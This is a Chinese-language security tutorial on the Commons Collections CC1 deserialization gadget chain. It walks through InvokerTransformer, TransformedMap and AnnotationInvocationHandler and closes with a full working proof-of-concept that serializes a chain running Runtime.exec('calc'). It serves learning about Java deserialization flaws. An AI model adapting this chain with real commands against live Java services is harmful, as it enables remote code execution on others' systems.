CommonsCollections-1(上)

前言

Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发。

Apache Commons Collections包和简介 | 闪烁之狐 (blinkfox.github.io)

CC1链之TransformedMap链

环境

  • JDK版本:jdk1.8以前(8u71之后已修复不可利用)jdk1.8.0_66
  • CC版本:Commons-Collections 3.1-3.2.1
  • idea
  • maven在pom.xml添加
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

maven下载一下源代码

分析

InvokerTransformer

public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

这里 transform 就是通过反射调用方法,参数input,iMethodName,iArgs都通过构造方法可控所以就是调用任意类的任意方法

尝试命令执行

import org.apache.commons.collections.functors.InvokerTransformer;

public class BasicLearn {
public static void main(String[] args) {
Runtime runtime = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);
}
}

向上寻找谁调用了 transform

TransformedMap

protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

调用 变量valueTransformer的transform方法,看一下构造方法是否可控这个变量

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

一个protected类型的构造方法,只能自己调用,向上发现 static 的 decorate 进行调用构造方法

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

通过类名直接调用 decorate 可以完成前置设置

Runtime runtime = Runtime.getRuntime();
InvokerTransformer invoke = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap map = new HashMap();
map.put("aaa","bbb");
TransformedMap.decorate(map,null,invoke);

此时 checkSetValue的值还不确定是否可控,接着向上寻找调用,发现只有一处引用

AbstractInputCheckedMapDecorator

TransformedMap的父类AbstractInputCheckedMapDecorator调用,在内部的MapEntry进行调用

static class MapEntry extends AbstractMapEntryDecorator {

/** The parent map */
private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}

public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}

这里理解一下Entry

Java的entry是一个静态内部类,实现Map.Entry< K ,V> 这个接口,通过entry类可以构成一个单向链表。

Map是java中的接口,Map.Entry是Map的一个内部接口。

Map提供了一些常用方法,如keySet()、entrySet()等方法。

keySet()方法返回值是Map中key值的集合;entrySet()的返回值也是返回一个Set集合,此集合的类型为Map.Entry。

Map.Entry是Map声明的一个内部接口,此接口为泛型,定义为Entry<K,V>。它表示Map中的一个实体(一个key-value对)。接口中有getKey(),getValue方法。

这里就是通过遍历Entry,重写了setValue方法

向上寻找

AnnotationInvocationHandler

发现这里的readObject中调用了setValue

while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}

但这里setValue好似不可控,后面再说,此类为default,想要序列化还需要反射

Runtime问题

在序列化的时候会报无法序列化的错误。原因就在于Runtime类并没有实现Serializable接口,所以无法序列化

利用反射即可解决

Class c = Runtime.class;
Method getRuntimeMethod = c.getMethod("getRuntime",null);
Runtime r = (Runtime)getRuntimeMethod.invoke(null,null); //静态方法无人调用,参数无
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r,"calc");

ChainedTransformer问题

public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}

/**
* Transforms the input to result via each decorated transformer
*
* @param object the input object passed to the first transformer
* @return the transformed result
*/
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

这里看构造方法,传入一个数组,transform方法就是循环调用数组里面的transform方法,且参数都是上一次调用的结果,那么可以配合InvokerTransformer与Runtime的反射进行快速调用

Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

readObject问题

先看构造方法

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
this.type = extends Annotation 要求传入的是注释类
this.memberValues = Map<String, Object> 传入的Map

再看readObject

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;

try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();

while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
var2 = AnnotationType.getInstance(this.type);  //获取传入的注释类
Map var3 = var2.memberTypes(); //返回Map 获取注释类 键是成员的名字,值是成员的类型

String var6 = (String)var5.getKey(); //获取传入Map的key 即 aaa
Class var7 = (Class)var3.get(var6); //从注释类成员中找与Map中相同的变量 如果传入Override(空成员变量) 则无法进入if

那么这里传入Retention.class 或者 Target.class 并且把 map中的key换为value

Object o = cons.newInstance(Retention.class, transformMap);
map.put("value", "bbb");

if顺利进入

var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + ...));

poc

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1 {

public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//chainedTransformer.transform(Runtime.class);

HashMap<Object, Object> map = new HashMap<>();
map.put("value", "bbb");
Map<Object, Object> transformMap = TransformedMap.decorate(map, null, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = c.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
Object o = cons.newInstance(Retention.class, transformMap);
serialize(o);
unserialize("ser.bin");
}


public static void serialize(Object obj) throws IOException {
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
oos.close();
}

public static Object unserialize(String Filname) throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream(Filname);
ObjectInputStream ois = new ObjectInputStream(fis);
Object obj = ois.readObject();
return obj;
}
}

调试跟进

理清流程,调试跟进

readObject

setValue这里的 value 不影响,这里 parent 为TransformMap

到 checkSetValue 时,已经通过构造方法使 valueTransformer 为 chainedTransformer

循环调用

循环调用的第一个为 ConstantTransformer,通过构造方法已经变为Runtime

到此cc1完成

流程图

来自 CC链学习-上 - 先知社区 (aliyun.com)

img

参考

Java反序列化CommonsCollections篇(一) CC1链手写EXP_哔哩哔哩_bilibili

Java反序列化之Commons-Collections1链 – cc (ccship.cn)